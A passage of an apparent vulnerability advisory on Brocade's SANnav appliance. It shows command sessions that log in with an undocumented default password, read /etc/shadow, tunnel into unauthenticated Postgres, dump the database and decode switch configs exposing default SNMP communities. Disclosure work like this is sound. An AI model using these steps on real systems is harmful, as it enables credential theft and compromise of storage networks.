|____/_/   \_\_| \_|_| |_|\__,_| \_/   |_____(_)_(_)_|



--------------- WARNING ---------------
This system is the use of authorized users only. Individuals using this computer system without authority or in excess of their authority are subject to having all their activities on this system monitored and recorded by system personnel. Any one using this system expressly consents to such monitoring and is advised that if such monitoring reveals possible evidence of criminal activity system personal may provide the evidence of such monitoring to law enforcement officials.
---------------------------------------

===============================================
 - Hostname.................: sannav-portal-v211
 - IP Address...............: 10.13.3.7
 - Disk Space Available.....: 531G (Use%: 6%)
===============================================
 - CPU usage................: 4.03, 4.09, 3.74 (1, 5, 15 min)
 - Memory used..............: 52295 MB / 48127 MB
 - Swap in use..............: 8312 MB
===============================================

[root@sannav-portal-v211 ~]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@sannav-portal-v211 ~]#
</code></pre>
<p><a id="insecure-sannav-access"></a></p>
<h2>Details - Insecure sannav access</h2>
<p>When checking the <code>/etc/shadow</code> file, the <code>sannav</code> user will appear:</p>
<pre><code>[root@sannav-portal-v211 sannav]# cat /etc/shadow
root:$6$sOk3vCRnZ8/3ktGs$rAN6y8px8b2soJTkXKaqiYoNsySD3zcv2AINgSM6W9WZiMzq08j11By3..PRs4TbkKSs8z.lf1B/WDA4A0YcD1:18246:0:99999:7:::
bin:*:18027:0:99999:7:::
daemon:*:18027:0:99999:7:::
adm:*:18027:0:99999:7:::
lp:*:18027:0:99999:7:::
sync:*:18027:0:99999:7:::
shutdown:*:18027:0:99999:7:::
halt:*:18027:0:99999:7:::
mail:*:18027:0:99999:7:::
operator:*:18027:0:99999:7:::
games:*:18027:0:99999:7:::
ftp:*:18027:0:99999:7:::
nobody:*:18027:0:99999:7:::
dbus:!!:18212::::::
systemd-coredump:!!:18212::::::
systemd-resolve:!!:18212::::::
tss:!!:18212::::::
polkitd:!!:18212::::::
unbound:!!:18212::::::
libstoragemgmt:!!:18212::::::
cockpit-ws:!!:18212::::::
setroubleshoot:!!:18212::::::
sssd:!!:18212::::::
insights:!!:18212::::::
sshd:!!:18212::::::
chrony:!!:18212::::::
tcpdump:!!:18212::::::
sannav:$6$LLVc84Gp9XhvWARX$WTvmfjO.DCFmjYGObezs914kHaveB9bkBARaINH/31otV.HoDQ/7H8SdPDCOfNexvh274ZccC8Unz7p9KGuDG1:18246:0:99999:7:::
cockpit-wsinstance:!!:18471::::::
rngd:!!:18471::::::
[root@sannav-portal-v211 sannav]#
</code></pre>
<p>Testing the previous password (<code>SANnav!@#</code>) with the user <code>sannav</code> will work, although it is undocumented:</p>
<pre><code>kali% sshpass -p 'SANnav!@#' ssh -l sannav 10.13.3.7

Warning: SSH client configured for wide compatibility by kali-tweaks.
Activate the web console with: systemctl enable --now cockpit.socket

Last login: Mon Aug 28 09:59:36 2022 from 10.13.3.10

__        __   _                            _                                                                                                                                                                                                
\ \      / /__| | ___ ___  _ __ ___   ___  | |_ ___                                                                                                                                                                                          
 \ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \ | __/ _ \                                                                                                                                                                                         
  \ V  V /  __/ | (_| (_) | | | | | |  __/ | || (_) |                                                                                                                                                                                        
   \_/\_/ \___|_|\___\___/|_| |_| |_|\___|  \__\___/


 ____    _    _   _                     ____    _   _                                                                                                                                                                                        
/ ___|  / \  | \ | |_ __   __ ___   __ |___ \  / | / |                                                                                                                                                                                       
\___ \ / _ \ |  \| | '_ \ / _` \ \ / /   __) | | | | |                                                                                                                                                                                       
 ___) / ___ \| |\  | | | | (_| |\ V /   / __/ _| |_| |                                                                                                                                                                                       
|____/_/   \_\_| \_|_| |_|\__,_| \_/   |_____(_)_(_)_|



--------------- WARNING ---------------
This system is the use of authorized users only. Individuals using this computer system without authority or in excess of their authority are subject to having all their activities on this system monitored and recorded by system personnel. Any one using this system expressly consents to such monitoring and is advised that if such monitoring reveals possible evidence of criminal activity system personal may provide the evidence of such monitoring to law enforcement officials.
---------------------------------------

===============================================
 - Hostname.................: sannav-portal-v211
 - IP Address...............: 10.13.3.7
 - Disk Space Available.....: 531G (Use%: 6%)
===============================================
 - CPU usage................: 0.31, 0.45, 0.58 (1, 5, 15 min)
 - Memory used..............: 52776 MB / 48127 MB
 - Swap in use..............: 10031 MB
===============================================

[sannav@sannav-portal-v211 ~]$ id
uid=1000(sannav) gid=1000(sannav) groups=1000(sannav),10(wheel),1001(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[sannav@sannav-portal-v211 ~]$
</code></pre>
<p><a id="insecure-ssh-configuration"></a></p>
<h2>Details - Insecure SSH configuration</h2>
<p>When reviewing the configuration of the appliance, it was noted that root access is allowed by default and several insecure options are set in the <code>/etc/ssh/sshd_config</code> OpenSSH configuration file:</p>
<pre><code>1 #       $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
2 
3 # This is the sshd server system-wide configuration file.  See
4 # sshd_config(5) for more information.
5 
6 # This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin
[...]
45 #LoginGraceTime 2m
46 PermitRootLogin yes
47 #StrictModes yes
48 #MaxAuthTries 6
49 #MaxSessions 10
[...]
70 # To disable tunneled clear text passwords, change to no here!
71 #PasswordAuthentication yes 
72 #PermitEmptyPasswords no
73 PasswordAuthentication yes
[...]
86 # GSSAPI options
87 GSSAPIAuthentication yes
88 GSSAPICleanupCredentials no
89 #GSSAPIStrictAcceptorCheck yes
</code></pre>
<p>On line 46, root access is allowed.</p>
<p>On line 73, authentication using password-only is allowed.</p>
<p>On line 88, this option specifies whether openssh would destroy the user's credentials cache on logout.  The default is yes.</p>
<p><a id="suspicious-network-traffic-ignite.apache.org"></a></p>
<h2>Details - Suspicious network traffic (ignite.apache.org)</h2>
<p>It was observed that the SANnav appliance regularly sends HTTPS requests to ignite.apache.org at a small interval.
The appliance will do a DNS resolution for <code>ignite.apache.org</code> and then will send a HTTPS request as shown below:</p>
<pre><code>[root@sannav-portal-v211 shm]# tcpdump -n -ttt -i ens192
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens192, link-type EN10MB (Ethernet), capture size 262144 bytes
 00:00:00.051269 IP 10.13.3.7.45844 &gt; 1.1.1.1.domain: 49175+ A? ignite.apache.org. (35)
 00:00:00.000035 IP 10.13.3.7.45844 &gt; 1.1.1.1.domain: 49175+ A? ignite.apache.org. (35)
 00:00:00.000818 IP 1.1.1.1.domain &gt; 10.13.3.7.45844: 49175 1/0/0 A 151.101.2.132 (51)
 00:00:00.000163 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [S], seq 3104261383, win 29200, options [mss 1460,sackOK,TS val 3912020309 ecr 0,nop,wscale 7], length 0
 00:00:00.002841 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [S.], seq 1079142995, ack 3104261384, win 65535, options [mss 1460,sackOK,TS val 3131823674 ecr 3912020309,nop,wscale 9], length 0
 00:00:00.000046 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [.], ack 1, win 229, options [nop,nop,TS val 3912020312 ecr 3131823674], length 0
 00:00:00.000635 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [P.], seq 1:220, ack 1, win 229, options [nop,nop,TS val 3912020313 ecr 3131823674], length 219
 00:00:00.002455 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [.], ack 220, win 285, options [nop,nop,TS val 3131823677 ecr 3912020313], length 0
 00:00:00.003665 IP 1.1.1.1.domain &gt; 10.13.3.7.45844: 49175 1/0/0 A 151.101.2.132 (51)
 00:00:00.003968 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [.], seq 1:1449, ack 220, win 285, options [nop,nop,TS val 3131823683 ecr 3912020313], length 1448
 00:00:00.000026 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [.], ack 1449, win 251, options [nop,nop,TS val 3912020323 ecr 3131823683], length 0
 00:00:00.000014 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [.], seq 1449:2897, ack 220, win 285, options [nop,nop,TS val 3131823683 ecr 3912020313], length 1448
 00:00:00.000018 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [.], ack 2897, win 274, options [nop,nop,TS val 3912020323 ecr 3131823683], length 0
 00:00:00.000004 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [.], seq 2897:4345, ack 220, win 285, options [nop,nop,TS val 3131823683 ecr 3912020313], length 1448
 00:00:00.000008 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [.], ack 4345, win 296, options [nop,nop,TS val 3912020323 ecr 3131823683], length 0
 00:00:00.000004 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [P.], seq 4345:4471, ack 220, win 285, options [nop,nop,TS val 3131823683 ecr 3912020313], length 126
 00:00:00.000008 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [.], ack 4471, win 296, options [nop,nop,TS val 3912020323 ecr 3131823683], length 0
 00:00:00.002553 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [P.], seq 220:295, ack 4471, win 296, options [nop,nop,TS val 3912020326 ecr 3131823683], length 75
 00:00:00.001564 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [.], ack 295, win 285, options [nop,nop,TS val 3131823689 ecr 3912020326], length 0
 00:00:00.000579 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [P.], seq 295:301, ack 4471, win 296, options [nop,nop,TS val 3912020328 ecr 3131823689], length 6
 00:00:00.000071 IP 10.13.3.7.40210 &gt; 151.101.2.132.https: Flags [P.], seq 301:346, ack 4471, win 296, options [nop,nop,TS val 3912020328 ecr 3131823689], length 45
 00:00:00.000536 IP 151.101.2.132.https &gt; 10.13.3.7.40210: Flags [R.], seq 4471, ack 301, win 296, length 0
</code></pre>
<p>Such behavior was not understood.</p>
<p><a id="lack-of-authentication-in-postgres"></a></p>
<h2>Details - Lack of authentication in Postgres</h2>
<p>It was observed that Postgres is running inside the appliance.</p>
<p>Postgres is reachable from any Docker instance.</p>
<p>Postgres do not implement authentication.</p>
<p>When reversing the <code>fe-consolidation-service2-1.0.0.jar</code> JAR package found in the appliance, it was found out that Postgres doesn't use authentication. Hardcoded postgres credentials can be found (<code>dcmadmin</code> without password):</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">1</span> <span style="color: #008000; font-weight: bold">package</span> <span style="color: #0000FF; font-weight: bold">com.brocade.dcm.supportsave.constants</span><span style="color: #666666">;</span>
 <span style="color: #666666">2</span> 
 <span style="color: #666666">3</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">com.brocade.dcm.fault.common.util.DBConstants</span><span style="color: #666666">;</span>
 <span style="color: #666666">4</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">com.brocade.dcm.fault.common.util.FaultCommonConstants</span><span style="color: #666666">;</span>
 <span style="color: #666666">5</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">java.io.File</span><span style="color: #666666">;</span>
 <span style="color: #666666">6</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">org.apache.http.util.VersionInfo</span><span style="color: #666666">;</span>
 <span style="color: #666666">7</span> <span style="color: #008000; font-weight: bold">import</span> <span style="color: #0000FF; font-weight: bold">org.springframework.beans.factory.xml.BeanDefinitionParserDelegate</span><span style="color: #666666">;</span>
 <span style="color: #666666">8</span> 
 <span style="color: #666666">9</span> <span style="color: #666666">/*</span> loaded from<span style="color: #666666">:</span> fe<span style="color: #666666">-</span>consolidation<span style="color: #666666">-</span>service2<span style="color: #666666">-1.0.0.</span><span style="color: #7D9029">jar</span><span style="color: #666666">:</span>BOOT<span style="color: #666666">-</span>INF<span style="color: #666666">/</span>lib<span style="color: #666666">/</span>supportsave<span style="color: #666666">-</span>common<span style="color: #666666">-1.0.0.</span><span style="color: #7D9029">jar</span><span style="color: #666666">:</span>com<span style="color: #666666">/</span>brocade<span style="color: #666666">/</span>dcm<span style="color: #666666">/</span>supportsave<span style="color: #666666">/</span>constants<span style="color: #666666">/</span>CommonConstants<span style="color: #666666">.</span><span style="color: #7D9029">class</span> <span style="color: #666666">*</span>    <span style="color: #666666">/</span>
<span style="color: #666666">10</span> <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">CommonConstants</span> <span style="color: #666666">{</span>
<span style="color: #666666">11</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String TAG_AUTHORIZATION <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Authorization&quot;</span><span style="color: #666666">;</span>
<span style="color: #666666">[...]</span>
<span style="color: #666666">28</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String SS_LOGS_ONLY<span style="color: #666666">;</span>
<span style="color: #666666">29</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String SS_PARTAIL_DB<span style="color: #666666">;</span>
<span style="color: #666666">30</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String SS_FULL_DB<span style="color: #666666">;</span>
<span style="color: #666666">31</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String SS_LOGS_ONLY_GV<span style="color: #666666">;</span>
<span style="color: #666666">32</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String SS_PARTAIL_DB_GV<span style="color: #666666">;</span>
<span style="color: #666666">33</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String SS_FULL_DB_GV<span style="color: #666666">;</span>
<span style="color: #666666">34</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String USERNAME <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;dcmadmin&quot;</span><span style="color: #666666">;</span>
<span style="color: #666666">35</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String PASSWORD <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&quot;</span><span style="color: #666666">;</span>
<span style="color: #666666">36</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String DATABASE <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;dcmdb&quot;</span><span style="color: #666666">;</span>
<span style="color: #666666">37</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String PORT <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;5432&quot;</span><span style="color: #666666">;</span>
<span style="color: #666666">38</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String FULL <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;full&quot;</span><span style="color: #666666">;</span>
<span style="color: #666666">39</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">static</span> <span style="color: #008000; font-weight: bold">final</span> String PARTIAL <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;partial&quot;</span><span style="color: #666666">;</span>
</pre></div>

<p>Using a SSH tunnel, it is possible to get a full R/W access to the postgres databases without authentication from the host.</p>
<pre><code>kali% ssh -l root -L 5432:0.0.0.0:5432 10.13.3.7
kali% psql -d dcmdb -h 127.0.0.1 -U dcmadmin -p 5432 
psql (14.4 (Debian 14.4-1), server 9.5.24)
Type "help" for help.

dcmdb=# \l
                                 List of databases
   Name    |  Owner   | Encoding |  Collate   |   Ctype    |   Access privileges   
-----------+----------+----------+------------+------------+-----------------------
 dcmdb     | dcmadmin | UTF8     | en_US.utf8 | en_US.utf8 | =Tc/dcmadmin         +
           |          |          |            |            | dcmadmin=CTc/dcmadmin
 postgres  | dcmadmin | UTF8     | en_US.utf8 | en_US.utf8 | 
 template0 | dcmadmin | UTF8     | en_US.utf8 | en_US.utf8 | =c/dcmadmin          +
           |          |          |            |            | dcmadmin=CTc/dcmadmin
 template1 | dcmadmin | UTF8     | en_US.utf8 | en_US.utf8 | =c/dcmadmin          +
           |          |          |            |            | dcmadmin=CTc/dcmadmin
(4 rows)

dcmdb=#
</code></pre>
<p>An attacker can dump (or edit) the <code>dcmdb</code> database, storing the entire configuration of the appliance (admin credentials, credentials to switches, SNMP, ...)</p>
<p>It is worth noting that the database requires authentication when reaching the public IP of SANNav.</p>
<p>Extracting the Postgres database:</p>
<pre><code>kali% pg_dump -d dcmdb -h 127.0.0.1 -U dcmadmin | bzip2 -9 - &gt; dump.sql.bz2
</code></pre>
<p>The database contains encrypted credentials (that can be decrypted using Reverse Engineering on the java code) and credentials that are base64-ed.
Interestingly, some hashes for similar passwords are very similar, which is highly suspicious regarding the quality of the encryption mechanism.</p>
<p>Note: all the testing was performed on a test VM and all the values in the following dumps have been modified or redacted for clarity.</p>
<p>Content of the <code>user_</code> table:</p>
<pre><code>--
-- Data for Name: user_; Type: TABLE DATA; Schema: dcm; Owner: dcmadmin
--

COPY dcm.user_ (id, user_alias, first_name, last_name, tags, description, password, email, notification_enabled, phone_number, invalid_login_count, locked_out_
datetime, status, source_of_creation, skip_password_policy, last_modified_time, created_time) FROM stdin;
2       (System)        system user                     System user for internal use            \N      0               0       \N      1       0       0      
 2022-01-01 00:00:01   2022-01-01 00:00:01
3       admin                                   [REDACTED-HASHED-PASSWORD]
        0               2       \N  10       0       2022-01-01 00:00:01      2022-01-01 00:00:01
1       admin2   Admin                   admin2   [REDACTED-HASHED-PASSWORD]
        0           1   2022-01-01 00:00:01 1       0       0       2022-01-01 00:00:01      2022-01-01 00:00:01
\.
</code></pre>
<p>The table <code>user_</code> contains 2 encrypted passwords for the users.</p>
<p>We can also find hashes of previous passwords in the <code>password_history</code> table:</p>
<pre><code>--
-- Data for Name: password_history; Type: TABLE DATA; Schema: dcm; Owner: dcmadmin
--

COPY dcm.password_history (user_id, password_updated_datetime, previous_password) FROM stdin;
1       2022-01-01 00:00:01      [REDACTED-HASHED-PASSWORD]
3       2022-01-01 00:00:01      [REDACTED-HASHED-PASSWORD]
\.
</code></pre>
<p>It is also possible to extract the encrypted password used for the FTP server (inside the <code>ftp_server</code> table).</p>
<p>The read-only and read-write SNMP communities are available in clear-text in the <code>snmp_credentials</code> and <code>snmp_profile</code> tables:</p>
<pre><code>--
-- Data for Name: snmp_credentials; Type: TABLE DATA; Schema: dcm; Owner: dcmadmin
--

COPY dcm.snmp_credentials (id, virtual_switch_id, recipient_id, port_number, retry_count, timeout, version, read_community_string, write_community_string, user_name, context_name, auth_protocol, auth_password, priv_protocol, priv_password, snmp_informs_enabled) FROM stdin;
3       1       \N      161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]      \N       - None -                - None -                0
6       8       \N      161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]      \N       - None -                - None -                0
8       2       \N      161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]      VF:1  - None -                - None -                0
12      11      \N      161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]      VF:1  - None -                - None -                0
[...]

--
-- Data for Name: snmp_profile; Type: TABLE DATA; Schema: dcm; Owner: dcmadmin
--

COPY dcm.snmp_profile (name, port_number, retry_count, timeout, version, read_community_string, write_community_string, user_name, context_name, auth_protocol, auth_password, priv_protocol, priv_password, snmp_informs_enabled) FROM stdin;
defaultv3       161     3       5       v3                      [REDACTED-CLEAR-TEXT-SNMPv3-PASSWORD]              - None -                - None -                0
[...]
\.
</code></pre>
<p>Dumping the configuration of the switches from the <code>virtual_switch</code> table:</p>
<pre><code>--
-- Data for Name: virtual_switch; Type: TABLE DATA; Schema: dcm; Owner: dcmadmin
--

COPY dcm.virtual_switch (id, guid, logical_id, name, wwn, virtual_fabric_id, domain_id, base_switch, switch_mode, role, fcs_role, ad_capable, fabric_idid_mode, operational_status, max_zone_config_size, creation_time, last_update_time, user_name, password, management_state, state, status, status_reason, user_defined_value_1, user_defined_value_2, user_defined_value_3, core_switch_id, interop_mode, crypto_capable, fcr_capable, fcip_capable, fcoe_capable, l2_capable, l3_capable, lf_enabled, default_logical_switch, features_supported, fms_mode, dynamic_load_sharing, port_based_routing, in_order_delivery, insistent_did_mode, last_scan_time, domain_mode_239, domain_id_offset, previous_operational_status, fcoe_login_enabled, fcip_circuit_capable, discovered_port_count, last_port_membership_change, max_fcip_tunnels, max_fcip_circuits, fcip_licensed, addressing_mode, previous_state, managed_element_id, hif_enabled, auto_snmp, rnid_sequence_number, cluster_mode, vcs_id, cluster_type, rnid_tag, switch_id, monitored, features_enabled, maps_enabled_actions, routing_policy, fabric_status, protocol, bound, bound_bna_ip_address, access_gateway_oper_mode, edge_hold_time) FROM stdin;
1       f7054300-a413-4384-8c36-c0e9396b94c0    \N      SWITCH    10:00:88:[REDACTED] -1      12      0       0       Subordinate     None    1       0       HEALTHY 1828371 2022-01-01 00:00:01 2022-01-01 00:00:01 admin        [REDACTED-HASHED-PASSWORD]    0       Online  1       Switch Status is HEALTHY. Contributors: \N      \N           \N      1       0       0       0       0       0       0       0       0       1      263921   0       1       0       0       0       2022-01-01 00:00:01       96      HEALTHY 0       0       48      1798238743401   0            0       0       0       Online  2       0       1       0FFFFFFFFFFF    -1      -1      -1      0cef    16776204        1       91293   7121    3               1       0       \N      0       412     
[...]
</code></pre>
<p>The presence of the Switch World Wide Name (WWN) (10:00:88:FF:FF:FF:FF:FF) allows the exploitation of CVE-2022-33186.</p>
<p>The database also contains base64-encoded configuration of all the switches.</p>
<p>Extracting base64 content like a hacker:</p>
<pre><code>kali% bzgrep '==' dump.sql.bz2 &gt; test
</code></pre>
<p>Dump of the configuration of the Brocade switch:</p>
<pre><code>kali% for i in $(awk '{ print $8 }' test); do echo $i|base64 -d;echo;done|less
...
&gt;[Configuration upload Information]
[...]
snmp.agtParty.0.address:0.0.0.0
snmp.agtParty.0.address.default:0.0.0.0
snmp.agtParty.0.address_v6:0:0:0:0:0:0:0:0
snmp.agtParty.0.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.0.authPrivSecret.default:Secret C0de
snmp.agtParty.0.index:1
snmp.agtParty.0.index.default:1
snmp.agtParty.0.trapSeverityLevel:0
snmp.agtParty.0.trapSeverityLevel.default:0
snmp.agtParty.0.trapport:162
snmp.agtParty.0.trapport.default:162
snmp.agtParty.1.address:0.0.0.0
snmp.agtParty.1.address.default:0.0.0.0
snmp.agtParty.1.address_v6:0:0:0:0:0:0:0:0
snmp.agtParty.1.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.1.authPrivSecret.default:OrigEquipMfr
snmp.agtParty.1.index:2
snmp.agtParty.1.index.default:2
snmp.agtParty.1.trapSeverityLevel:0
[...]
</code></pre>
<p>Regarding these SNMP communities, they are known backdoor SNMP communities for Brocade switches:</p>
<p><a href="https://techdocs.broadcom.com/us/en/fibre-channel-networking/fabric-os/fabric-os-web-tools/9-1-x/v26882500/v26815803/v26850344.html">https://techdocs.broadcom.com/us/en/fibre-channel-networking/fabric-os/fabric-os-web-tools/9-1-x/v26882500/v26815803/v26850344.html</a>:</p>
<p><img alt="" src="images/2024-sannav-snmp.png" /></p>
<p>It is then possible to extract all the SNMP communities and compromise the switches:</p>
<pre><code>snmp.agtParty.0.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.0.authPrivSecret.default:Secret C0de
snmp.agtParty.1.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.1.authPrivSecret.default:OrigEquipMfr
snmp.agtParty.2.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.2.authPrivSecret.default:private
snmp.agtParty.3.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.3.authPrivSecret.default:public
snmp.agtParty.4.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.4.authPrivSecret.default:common
snmp.agtParty.5.authPrivSecret:[REDACTED-CLEAR-TEXT-SNMP-COMMUNITY]
snmp.agtParty.5.authPrivSecret.default:FibreChannel
</code></pre>
<p>And SNMP3 keys (the keys have been redacted):</p>
<pre><code>kali% for i in $(awk '{ print $8 }' test); do echo $i|base64 -d;echo;done 2&gt;/dev/null|grep usmAuthKey
snmp.snmpv3Keys.3.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.3.usmAuthKeySize:50
snmp.snmpv3Keys.4.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.4.usmAuthKeySize:50
snmp.snmpv3Keys.5.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.5.usmAuthKeySize:50
snmp.snmpv3Keys.0.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.0.usmAuthKeySize:50
snmp.snmpv3Keys.1.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.1.usmAuthKeySize:50
snmp.snmpv3Keys.2.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.2.usmAuthKeySize:50
snmp.snmpv3Keys.3.usmAuthKey:ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
snmp.snmpv3Keys.3.usmAuthKeySize:50

kali% for i in $(awk '{ print $8 }' test); do echo $i|base64 -d;echo;done 2&gt;/dev/null|grep usmAuthSecret|sort|uniq
snmp.snmpv3Usm.0.usmAuthSecret:[REDACTED-CLEAR-TEXT-SNMPv3-PASSWORD]
snmp.snmpv3Usm.0.usmAuthSecret.default:adminpasswd1
snmp.snmpv3Usm.1.usmAuthSecret:[REDACTED-CLEAR-TEXT-SNMPv3-PASSWORD]
snmp.snmpv3Usm.1.usmAuthSecret.default:adminpasswd2
snmp.snmpv3Usm.2.usmAuthSecret:[REDACTED-CLEAR-TEXT-SNMPv3-PASSWORD]
[...]
</code></pre>
<p><a id="insecure-postgres-docker-instance"></a></p>
<h2>Details - Insecure Postgres Docker instance</h2>
<p>The Postgres Docker instance is extremely insecure.</p>
<p>When analyzing the partitions inside this Docker instance, we can find several Read/Write mount points, allowing overwriting critical files in the host:</p>
<pre><code>[root@sannav-portal-v211 ~]# docker ps | grep post
f40c5f57fa49        10.13.3.7:5000/dcm-postgres-db:sann2.1.1                   "docker-entrypoint.    4 months ago        Up 4 months                             dcm_2_1_1_dcm-postgres-db.1.mcdp2z3lp34d5isihk8lu6o6h
[root@sannav-portal-v211 ~]# docker exec -it f40c5f57fa49 bash
root@sannav-portal-v211:/# mount | grep sdb1
/dev/sdb1 on /dcm1.0.0/sannav_support_data type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/lib type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/jre type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/backuprestore type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /etc/hosts type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/temp type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /etc/hostname type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /etc/resolv.conf type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/conf/postgres type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/data/reports type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /dcm1.0.0/conf/server.properties type ext4 (rw,relatime,seclabel)
/dev/sdb1 on /var/lib/postgresql/data type ext4 (rw,relatime,seclabel)
root@sannav-portal-v211:/#
</code></pre>
<p>These mount points are read/write.</p>
<p>Output of the <code>docker inspect</code> command:</p>
<pre><code>"Mounts": [
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/data/reports",
        "Destination": "/dcm1.0.0/data/reports",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/database/dcm_db/data",
        "Destination": "/var/lib/postgresql/data",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/conf/postgres",
        "Destination": "/dcm1.0.0/conf/postgres",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
        "Source": "/sannav-portal-v211/sannav-home/Portal_2.1.1_bld184/lib",
        "Destination": "/dcm1.0.0/lib",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
    },
    {
        "Type": "bind",
